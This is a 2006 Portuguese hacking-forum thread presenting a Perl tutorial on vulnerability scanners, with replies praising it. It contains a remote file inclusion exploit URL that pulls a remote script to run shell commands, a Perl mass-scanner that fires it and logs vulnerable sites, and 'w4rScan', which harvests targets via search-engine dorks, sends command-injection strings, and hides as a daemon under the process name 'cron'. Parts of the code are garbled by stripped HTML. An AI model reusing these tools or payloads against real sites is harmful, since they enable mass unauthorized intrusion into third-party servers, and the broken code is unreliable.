Criando Scan de Vuln em Perl

Started by _Dr4k0_, 10 de August , 2006, 07:33:19 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

_Dr4k0_

Tutorial feito pelo Poerschke


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-
-
- Tutoria ensinando a criar scanners de vulnerabilidades em perl
- utilizando IO::Socket::INET, Socket, LWP::Simple
-
-
- escrito por Poerschke
- contato: irc.gigachat.net #spykids
-
-
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=


para se criar um scanner de vuls primeiro é preciso conhecer a vul
saber como explora-la e como detecta-la

vamos começar com uma vul simples de php injection

digamos que esse arquivo /include/livre_include.php?no_connect=lol&chem_absolu=
esteja vulneravel

1) ja conhecemos a vul

para explorar a url deve ficar assim:

/include/livre_include.php?no_connect=lol&chem_absolu=http://www.site.com/cmg.gif?&cmd=ls%20

2) ja sabemos como explora-la

note que ao final colocamos o ls%20/, ele serve para nos ajudar a detectar se o site esta vul
no caso se estiver nele irá aparecer o seguinte texto entre o codigo html gerado pelo script
php:

COPYRIGHT
backup
bin
boot
cdrom
compat
dev
dist
etc
home
kernel
kernel.GENERIC
kernel.old
mnt
modules
modules.old
mysql
proc
quota.group
quota.user
root
sbin
stand
sys
tmp
usr
var
virtual

Note que em todos os servers vulneraveis sempre vai haver o diretorio "root", "boot" e "etc",
sabendo isso ja temos a nossa informação necessária para detectar a vul, que é nos dada pelo
comando ls /.

vamos a criação de nosso scanner utilizando a linguagem PERL


-=-=-=-=-=-=-=-=[ INICIO DO CODIGO DO SCAN ]=-=-=-=-=-=-=-=-=-

#!/usr/bin/perl

use LWP::Simple; # nosso socket simples

print "Scanner xxxxx versao x.x by xxxxx\n";

if(!$ARGV[0]){
print "Modo de uso: perl $0 www.site.com\n";
exit;
}
$site = $ARGV[0];
if($site !~/http/) { $site = 'http://' . $site; }

print "Scaneando $site ... aguarde\n";

# aqui começamos a usar nosso socket
# com a funcao get() que podemos usar
# da biblioteca LWP::Simple
# para dar certo a url precisa estar com
# o http:// ou nao vai funcionar
# veja como ficará o source daqui pra frente

$url = "/include/livre_include.php?no_connect=lol&chem_absolu=http://www.site.com/cmg.gif?&cmd=ls%20";

$site = $site . $url; # junta $site com $url ex: www.site.com/include/livre_include....
# poderiamos usar $site .=$url; que teria o mesmo efeito

$resultado = get($site) or exit; # aqui mandamos ele pegar o conteudo de nossa url completa
# dentro da variavel $resultado esta o resultado de nossa pesquisa, agora vamos detectar se
# o site que testamos esta vulneravel ou nao
# se a variavel $resultado conter as strings root, boot e etc, sera dado como vulneravel



if(($resultado =~/root/) and ($resultado =~/boot/) and ($resultado =~/etc/))
{
print "vul: $site\n";

open(a,">>resultados.txt");
print a "$site\n";
close(a);
}
else{
print "o site testado na esta vul\n";
}


-=-=-=-=-=-=-=-=[ FIM DO CODIGO DO SCAN ]=-=-=-=-=-=-=-=-=-









-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-



agora vamos criar um scanner para sabermos a versao do ftp rodando em um servidor
vamos usar IO::Socket e Socket

1) sabemos a porta do ftp, por padrao é a 21 mas nada impede de ser mudada



-=-=-=-=-=-=-=-=[ INICIO DO CODIGO DO SCAN ]=-=-=-=-=-=-=-=-=-

#!/usr/bin/perl

use Socket;
use IO::Socket::INET;

print "Scanner xxxxx versao x.x by xxxxx\n";

if(!$ARGV[0]){
print "Modo de uso: perl $0 www.site.com\n";
exit;
}
$site = $ARGV[0];

# primeiro vou mostrar como pegar o ip de um site www.site.com

$ip = inet_ntoa(inet_aton($site));

# inet_ntoa() e inet_aton() podemos usar pq declaramos a biblioteca Socket
# essas duas funcoes usadas em conjunto retornam o ip do nosso site
# vamos agora nos conectarmos ao ip usando a biblioteca IO::Socket::INET

$sock = IO::Socket::INET->new( #cria nosso socket
PeerAddr => $ip, # endereço que vamos nos conectarmos
PeerPort => 21, # porta do ftp
Proto => "tcp", # protocolo que estamos usando
Timeout => 5 # tempo limite para conectarmos ao ip e porta do servidor ftp
) or die "nao foi possivel conectar ao $ip\n"; # se nao conectar exibe a mensagem de erro e sai do scanner

print $sock "\n"; # sempre que quizer enviar alguma requisicao para o server vc deve colocar print $soca "string";

$resultado = <$sock>; # passa o conteudo de $sock para a variavel $resultado

close($sock); # fecha nosso socket, por isso devemos passar o resultado antes de dr close nele

print "$site esta usando $resultado\n";

-=-=-=-=-=-=-=-=[ FIM DO CODIGO DO SCAN ]=-=-=-=-=-=-=-=-=-

Scan de strings feito pelo Mr_w4r

#!/usr/bin/perl
# Develop by Mr_w4r
# greetx to focused,victorockeiro
# irc.efnet.net @ #rootcorp
# Nao me responsabilizo pelo mal uso deste Arquivo
# Voce e livre para alteracoes, porem nao tire os creditos
# do autor .
#
use IO::Socket;
my %CONFIG;
$CONFIG{'rand'} = int( rand( 50 ) ) . int( rand( 50 ) );

#-=-=-=-==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-#
# Configurantion Area #
#-=-=-=-==-=-=-=-=-==-=-=-=-=-=-=-=-=-=#
$CONFIG{'google'} = 'www.google.com.br';
$CONFIG{'cade'} = 'cade.search.yahoo.com';
$CONFIG{'outfile'} = 'resultado'.$CONFIG{'rand'}.'.html';
$CONFIG{'proc'} = 'cron';
$CONFIG{'pidf'} = 'pid.w4rscan';
#-=-=-=-=-=-=#
# EnD #
#-=-=-=-=-=-=#



my %option = getopts ( GOOGLES => 'g,:',
CADES => 'c,:',
STRING => 's,:',
OUTFILE => 'o,:',
RETURN => 'r,:',
INDEX => 'i',
PROC => 'p,:',
FILE => 'f,:',
DAEMON => 'd|D',
HELP => 'h|help'
);
principal();
#/------------------------------------\
# Cria nosso Processo filho #
#\------------------------------------/
sub forka{
$SIG{'INT'} = "IGNORE";
$SIG{'HUP'} = "IGNORE";
$SIG{'TERM'} = "IGNORE";
$SIG{'CHLD'} = "IGNORE";
$SIG{'PS'} = "IGNORE";
$0 = $option{'PROC'}."\0";
my $PID = fork if ( defined( $option{'DAEMON'} ) );
exit if $PID;

print " Pid: $$\n";
print " Nome do Processo: $option{'PROC'}\n";
save2file( $CONFIG{'pidf'}, "pid: $$") if ( defined( $CONFIG{'pidf'} ) );
}

#/----------------------------\
# Funcao principal do programa #
#\----------------------------/
sub principal{
my $pagenumber = shift;
banner();
optcheck();
forka() if ( defined( $option{'DAEMON'} ) );

if ( defined( $option{'GOOGLES'} ) and defined( $CONFIG{'google'} )) {
print " Pegando link's do google...\n" if ( !defined( $option{'DAEMON'} ) );
print " Procurando : $option{'GOOGLES'}\n" if ( !defined( $option{'DAEMON'} ) );
for ( $pagenumber = 0; $pagenumber < 990; $pagenumber += 10 ){
google( "$pagenumber" );
}
print " Feito!\n" if ( !defined( $option{'DAEMON'} ) );
}
if ( defined( $option{'CADES'} ) and defined( $CONFIG{'cade'} ) ) {
print " Pegando link's do cade...\n" if ( !defined( $option{'DAEMON'} ) );
print " Procurando : $option{'CADES'}\n" if ( !defined( $option{'DAEMON'} ) );
for ( $pagenumber = 1; $pagenumber < 991; $pagenumber += 10 ) {
cade( "$pagenumber" );
}
print " Feito!\n" if ( !defined( $option{'DAEMON'} ) );
}
html_head( $option{'OUTFILE'} );
open2explore();
html_foot( $option{'OUTFILE'} );
}

#/---------------------------\
# Explora o link #
#\---------------------------/
sub explore{
my ( $link2explore ) = @_;
my ( $pagereturn, $index ) = shift;

substr( $link2explore, 0, 7) = "";

$index = index( $link2explore, '/' ) if ( defined( $option{'INDEX'} ) );
$index = rindex( $link2explore, '/' ) if ( !defined( $option{'INDEX'} ) );

$link2explore = substr( $link2explore, 0, $index) if ( $index != -1 );
$link2explore = "$link2explore" . "$option{'STRING'}";

print " Testando [ $link2explore ]"if ( !defined( $option{'DAEMON'} ) );
$pagereturn = http_conect( "$link2explore" );

if ( $pagereturn =~ /$option{'RETURN'}/ ) {
print " Vulneravel\n" if ( !defined( $option{'DAEMON'} ) );
html_body( $option{'OUTFILE'}, "$link2explore" );
}
elsif ( $pagereturn == 1 ){
print " OFF\n" if ( !defined( $option{'DAEMON'} ) );
}
else {
print " OK\n" if ( !defined( $option{'DAEMON'} ) );
}
}

#/---------------------------------------------\
# Abre o Arquivo com os Links para explora-los #
#\---------------------------------------------/
sub open2explore{
print " Abrindo arquivo com os links...\n" if ( !defined( $option{'DAEMON'} ) );
open( FILEL, $CONFIG{'linkf'} );
while ( ) {
explore( "$_" );
}
close(FILEL);
}

#/---------------------\
# imprime meu Banner #
#\---------------------/
sub banner{
$VERSION = "VerS-0.1";
print " -==-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- \n";
print " | BE ? be : dontbe | \n";
print " | codado por Mr_w4r | \n";
print " | w4rScan $VERSION | \n";
print " | Google and Cade Scanner | \n";
print " | Let's rock ! | \n";
print " | #rootcorp at irc.efnet.net | \n";
print " -==-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- \n\n";

}

#/-----------------------------------\
# Checa se as opcoes estao corretas #
#\-----------------------------------/
sub optcheck{

if( !@ARGV or defined( $option{'HELP'} ) ) {
print " Usage: $0 -g -c -s -o -r \n\n";

print " ex: \n";
print " $0 -g inurl:newdesk.cgi -c inurl:newdesk.cgi -s \'\\complete\\path\\to\\newdesk.cgi?t=|uid|\' -r \"uid=\" -i\n";
print " $0 -c inurl:awstats -s \'\\news.cgi?t=|id|\' -r \"uid=\" \n";
print " [Options]\n\n";

print " -g String para se procurar no Google\n";
print " -c String para se procurar no Cade\n";
print " -s String para explorar o bug\n";
print " -o Arquivo para se salvar os resultados\n";
print " -r Oq deve se retonar para se comprovar bugado\n";
print " -i Define se sera usado o path do link ou nao\n";
print " -p Define nome do Processo\n";
print " -d Roda em background\n";
print " -f Especifica arquivo com links\n";
exit;
}
die " Voce precise especificar a string de exploracao do bug\n" if ( !defined( $option{'STRING'} ) );
die " Voce precisa especificar o arquivo com os resultados\n" if ( !defined( $CONFIG{'outfile'} ) and !defined( $option{'OUTFILE'} ) );
die " Voce precisa especificar o nome do processo\n" if ( !defined( $CONFIG{'proc'} ) and !defined( $option{'PROC'} ) );
die " Voce precisa especificar o retorno para se comprovar bugado\n" if ( !defined( $option{'RETURN'} ) );
die " Voce nao pode especificar a opcao -f com -c e/ou -g\n" if( ( defined( $option{'GOOGLES'} ) || defined( $option{'CADES'} ) ) and defined( $option{'FILE'} ) );
$CONFIG{'linkf'} = "links".$CONFIG{'rand'}.".w4rScan" unless( defined( $option{'FILE'} ) );
$CONFIG{'linkf'} = $option{'FILE'} if( defined( $option{'FILE'} ) );
$option{'OUTFILE'} = $CONFIG{'outfile'} if ( !defined( $option{'OUTFILE'} ) );
$option{'PROC'} = $CONFIG{'proc'} if ( !defined( $option{'PROC'} ) );
}

#/---------------------------------------------------\
# Responsavel por estabelecer a conexao http #
#\---------------------------------------------------/
sub http_conect{
my ($get) = @_;
my (@html, $length, $index, $host, $url, $socket) = shift;

$length = length($get);
$index = index($get, '/');
$host = substr($get, 0, $index);
$url = substr($get, $index, $length);

#****************************
# Meu Header #
#****************************
my $header = "GET $url HTTP/1.1\n";
$header .= "Keep-Alive: 300\n";
$header .= "Connection: Closed\n";
$header .= "Host: $host\n";
$header .= "User-Agent: w4rScan/0.1\r\n\r\n";

$socket = IO::Socket::INET->new( PeerAddr => "".$host."",
PeerPort => "http(80)",
Timeout => "7",
Proto => "tcp" ) or return(1) if ( !defined ( $socket ) );
print $socket "$header";
@html = <$socket>;
close($socket);

return "@html";
}

#--------------------------------------------\
# Funcao responsavel por Conectar ao google #
#--------------------------------------------/
sub google{
my ( $page ) = @_;
my $google_html = http_conect( "$CONFIG{'google'}/search?q=$option{'GOOGLES'}&start=$page" );
my ( $google_link ) = shift;

return(undef) if( $google_html == 1 );
while ( $google_html =~ s/.*?<\/a>// ) {
$google_link = $1;
$google_link =~ s///gi;
$google_link =~ s/<\/b>//gi;
$google_link =~ s/ //gi;
substr( $google_link, 0, index( $google_link, 'h' ) ) = "" if ( index( $google_link, '/' ) == 0 );
$google_link = substr( $google_link, 0, rindex( $google_link, '&' ) ) if ( $google_link =~ /&e=42/ );
if ( ( $google_link !~/translate/) && ( $google_link !~/cache/) && ( $google_link !~/google/ ) &&
( $google_link !~/216/) && ( $google_link =~/http/ )) {
save2file( $CONFIG{'linkf'}, "$google_link" );
}
}
}

#----------------------------------------\
# Funcao responsavel por conectar ao cade #
#----------------------------------------/
sub cade {
my ( $page ) = @_;
my $cade_html = http_conect("$CONFIG{'cade'}/search?p=$option{'CADES'}&ei=UTF-8&fl=0&all=1&pstart=1&b=$page");
my ( $cade_link ) = shift;
return(undef) if( $cade_html == 1 );

while ( $cade_html =~ s/(.*?)<\/em>// ) {
$cade_link = $1;
$cade_link =~ s/ //gi;
$cade_link =~ s///gi;
$cade_link =~ s/<\/b>//gi;
$cade_link =~ s///gi;
$cade_link =~ s/amp;//gi;
save2file( $CONFIG{'linkf'}, "http://$cade_link" ) if ( defined( $CONFIG{'linkf'} ) or die "Especifique \$CONFIG{\'linkf\'}\n" );
}
}

#---------------------------------\
# Funcao Salva em $file a $string #
#---------------------------------/
sub save2file {
my ( $file, $text ) = @_;

open( Save, ">>".$file );
print Save "$text\n";
close(Save);
}

#----------------------\
# Cria o Cabecalho HTML #
#----------------------/
sub html_head {
my ( $html_file ) = @_;
my $html_head = "W4rScan \n";
$html_head .= "

VulnSites<\/h1>\n";
$html_head .= "\n";

save2file( $html_file, "$html_head" );
}

#------------------\
# Cria o corpo HTML #
#------------------/
sub html_body {
my ( $html_file , $html_link ) = @_;
my $html_body = "$html_link
\n";
$html_body .= "
  • [Vulneravel]<\/a><\/li>
    \n";

    save2file( $html_file, "$html_body" );
    }
    #---------------\
    # Cria o pe HTML #
    #---------------/
    sub html_foot {
    my ( $html_file ) = @_;
    my $html_foot = "Resultado Gerado por w4rScan
    \n";
    $html_foot .= "Codado Por Mr_w4r, #rootcorp at
    irc.efnet.net\n";
    $html_foot .= "<\/body>\n<\/html>\n";

    save2file( "$html_file", "$html_foot" );
    }


    # __________________________________________________ ______
    # / \
    #/ Nao codei esta funcao os devidos creditos ao autor ;D \
    #\----------------------------------------------------------/
    # \ Funcao responsavel por avaliar as opcoes de @ARGV /
    # \_________________________________________________ _____/

    sub getopts {
    # eheh a little explanation
    # the key is the same used in the return
    # the value gonna be the options to be taken from @ARGV
    # separeted by |
    # after the "," you can give these options:
    #
    # : - take next ARGV as value
    # n - numeral value
    # i - IPv4 address
    # u - delete option if it got none argument (usefull for
    # arguments which can be 0)
    #
    # by now ... just this one is fine  if none options specified
    # the return gonna be 1 or 0
    #
    # the key STD should has only the options made by one letter
    # like the Getopts::Std, eg:
    #
    # my %opts = getopts(a => "a", b => "b", c => "c,:", d => "d");
    # =
    # my %opts = getopts(STD => "abc:d");
    #
    # @{$opts{UNKNOWN}} gonna have the unknown options given by the user
    # @{$opts{MISS_VALUE}} gonna have the options which need some value
    # and it has been not given

    my %opts = @_;

    my %ret;

    if (defined($opts{STD})) {
    my @opts = split('', $opts{STD});

    for (my $c = 0; $c <= $#opts; $c++) {
    my $arg = $opts[$c];
    my $next_arg = $opts[$c+1];
    next if ($arg eq ":");
    $opts{$arg} = $arg;
    $opts{$arg} .= ",:" if ($next_arg eq ":");
    }

    delete($opts{STD});
    }

    for (my $ca = 0; $ca <= $#ARGV; $ca++) {
    my $arg = $ARGV[$ca];
    my $rarg = $arg;
    last if ($arg eq "--");
    my $next_arg = $ARGV[$ca+1];

    # if not an argument it is some value
    my ($is_arg, $next_is_arg) = (0, 0);
    $is_arg = 1 if ($arg =~ /^-{1,2}/);
    $arg =~ s/^-{1,2}//;
    $next_is_arg = 1 if ($next_arg =~ /^-{1,2}/);
    $next_arg =~ s/^-{1,2}//;

    next if ($is_arg == 0);

    my $value;
    if ($arg =~ /^(.+?)\=(.*)$/) {
    $arg = $1;
    $value = $2;
    }

    my $found = 0;
    foreach my $opt (keys(%opts)) {
    my $opt_value = $opts{$opt};

    my $get_value = 0; # if get_value == 0 is a true/false (1/0) return

    $get_value = 1 if ($opt_value =~ /\,(.*)$/);
    my @types = split('', $1);

    $opt_value =~ s/\,.*$//;


    my @get_opts = split(/\|/, $opt_value);

    if (grep { $_ eq $arg } @get_opts) {
    #delete($opts{$opt}); nahh the last value is great for me
    $found = 1;
    if ($get_value == 0) {
    $ret{$opt} = 1;
    } else {
    my $ret_value = ((defined($value)) ? $value : (defined($next_arg) ? $next_arg : undef));
    if (defined($ret_value)) {
    if (!@types or grep { $_ eq ":" } @types) {
    $ret{$opt} = $ret_value;
    } else {
    my @wrong;
    foreach my $type (@types) {
    my $ok = 1;
    $ok = 0 if (
    ($type eq "n" and $ret_value !~ /^\d+$/) or
    ($type eq "i" and $ret_value !~ /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/));
    # i thing thats only by now
    push(@wrong, $type) if ($ok == 0);
    }

    if (@wrong) {

    push(@{$ret{WRONG_VALUE}}, $rarg.','.join('', @wrong)); } else {
    $ret{$opt} = $ret_value;
    }
    }
    # if (defined($value)) {
    # $ret{$opt} = $value;
    # } elsif ($next_is_arg == 0 and defined($next_arg)) {
    # $ret{$opt} = $next_arg;
    } else {
    push(@{$ret{MISS_VALUE}}, $rarg);
    }
    }
    } else {
    delete($ret{$opt}) if (not defined($ret{$opt}) and grep { $_ eq 'u' } @types);
    }
    }
    push(@{$ret{UNKNOWN}}, $rarg) if ($found == 0);
    }

    return(%ret);
    }
  • 100% Livre!!!Livre para escolher o que há de melhor no Windows e Linux. Livre de preconceito direto ou inverso!
    Adote essa filosofia e tenha mais chance de sucesso profissional.

    whit3_sh4rk

    Pow, ninguém curtiu não?
    Eu achei bem legal cara.. não codo em perl, mas os 2 primeiros, eu entendi o source.. já o último(scan de strings), putz.. coisa demais.. Se eu arrumar um tempin vo ver se dou uma estudada em perl, parece interessante..

    Bom post Dr4k0.

    Obs: Tem o site onde tu pegou? Ou pegou em IRC?

    []s

    insanity

    Bem legal mesmo =;)

    Só um coisa esse canal IRC não acontece nada uhauhuah | zueira =;)

    ate mais

    _Dr4k0_

    100% Livre!!!Livre para escolher o que há de melhor no Windows e Linux. Livre de preconceito direto ou inverso!
    Adote essa filosofia e tenha mais chance de sucesso profissional.

    rodweb

    ótimo tutorial, da pra ter uma ideia legal, bom post kra!

    Ch1p5

    muito bom o tuto....
    eu estava estudando em perl...mas dei uma parada...
    agora vou estudar de novo...
    parabéns


    "Minha impressora está normal, mas não imprime"